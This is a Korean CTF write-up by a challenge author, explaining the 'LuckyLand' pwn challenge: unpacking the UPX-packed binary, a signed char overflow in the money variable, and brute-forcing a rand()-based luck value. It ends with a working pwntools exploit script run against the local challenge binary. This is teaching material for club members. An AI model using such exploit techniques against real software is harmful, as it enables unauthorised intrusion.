CTF Review

[ stack ] SFctf2020 LuckyLand

S!_Jmini 2020. 7. 26. 16:37

* 동아리 내부 CTF입니다

 

glibc-2.23

 

#1. 문제 살펴보기

 

출제자는 나다.

 

이번에 들어온 신입 20학번들을 위하여

 

MISC 수준의 난이도로 출제했다.

 

 

 

기본적으로 MISC답게 잡기술을 하나 첨가했다.

 

보호기법 체크

보호기법을 확인해보면 GOT 를 찾을 수 없다고 발생하며

 

Packer부분에 UPX를 통해 패킹되었다고 확인된다.

 

 

 

 

 

IDA를 통해 보아도 upx에 대한 언급이 있다.

 

아마 적어도 의지가 있다면 발견했을 것이다.

 

 

 

 

 

#2. 문제 분석하기

 

upx에 대해 인터넷에 찾아보면

 

언패킹할 수 있는 정보는 쉽게 찾을 수 있다.

 

 

 

그렇게 언패킹하게 되면

 

보호기법

 

모든 보호기법이 걸린 상태로 확인할 수 있다.

 

하지만 해당 문제에서는 보호기법을 우회할 정도의 수준이 아닌

 

정말 기본적인 byte overflow를 이용한 문제이다

 

 

실행모습

 

 

언패킹 이후 실행하면 볼 수 있는 모습이다.

 

 

메뉴

 

이름 입력 이후에는 

 

 

 

1. JackPot 게임(777뽑는 게임) 

 

2. 자금 모으기

 

3. 탈출

 

 

 

메뉴가 나오는데 intended exploit은 2번 메뉴에서 발생한다.

 

 

#3. 해설

 

나는 c코드를 통해 풀이를 할 예정이다.

 

일단 여긴 아니다.

 

진짜 rand함수의 결과로 나온 세 숫자가 7 7 7이 되길 바라는

 

미련한 사람은 없었을 거라고 생각한다.

 

 

 

 

이 한장에 모든 취약한 부분이 담겼다.

 

 

일단 USER 구조체에서 number는 jackpot숫자 및 사용자의 돈을 담는다.

 

그리고 한 인덱스당 1byte의 크기를 갖는 char 자료형임을 기억하자

 

 

 

Get_Money함수에서 number[0]에 돈을 담는 것을 확인할 수 있다.

 

근데 잘보면 0보다 크거나 127일 경우에는 계속 돈을 얻을 수 있지만,

 

그게 아닐 경우 돈을 다 잃는다거나 FLAG를 획득할 수 있다.

 

 

 

 

저런 경우가 가능할까?

 

1byte의 크기를 갖는 char는 -127~127의 값을 표현할 수 있다.

 

그렇다면 -1 또는 -127 등은 어떻게 표현하는 것일까?

 

 

=> 0x7f 까지 양수, 이보다 클 경우 음수이다.

 

 

 

그렇기 때문에 양수에 양수를 더하다가 127을 넘게되면 음수로 바뀌게 된다.

 

즉, 사용자의 돈이 음수로 바뀌게 된다.

 

 

 

이까지 왔다면 마지막 조건문을 우회하여 FLAG를 획득할 수 있다

 

그 조건은 바로 user.LUK 의 값이 0보다 크면 되는 것인데,

 

한번이라도 JackPot을 터트려야 LUK값이 오른다.

 

 

그러나 이렇게 운을 바라는 방법 말고도 LUK값을 증가시킬 수 있는 방법이 있다.

 

main에서 init()을 호출한다

 

이는 프로그램 시작 시 main 첫부분에서 실행하는 함수인데,

 

rand함수를 통해 한번만 7이 나와도 LUK값이 1 증가된다.

 

즉, 3개의 rand값이 7 7 7로 나오는 것보다 훨씬 가능성 있다.

 

 

 

 

따라서 약간의 bruteforce를 통해 LUK값을 1로 만들고

 

money의 값을 음수로 만들면 flag를 획득할 수 있다.

 

 

 

 

#4. Exploit Code

 

from pwn import*

# definition
def menu(sel):
    p.sendlineafter(">> ",str(sel))

def get(time):
    menu(2)
    p.sendlineafter(">> ",str(time))
    sleep(time/2+0.5)   

def exploit(time):
    for i in range(7):
        log.info("Waiting... {}".format(str(i)))
        get(time)
    

# exploit 
while True: 
    p = process('./Lucky')
    p.sendafter(">> ",'a'*19)   # name 
    try:
        p.recvuntil("JAM:")
        print("Sucess !")

    except:
        print("Failed !")
        p.close()
        continue
    
    log.info("Start exploit !")

    exploit(10)
    p.sendline('2')
    p.interactive()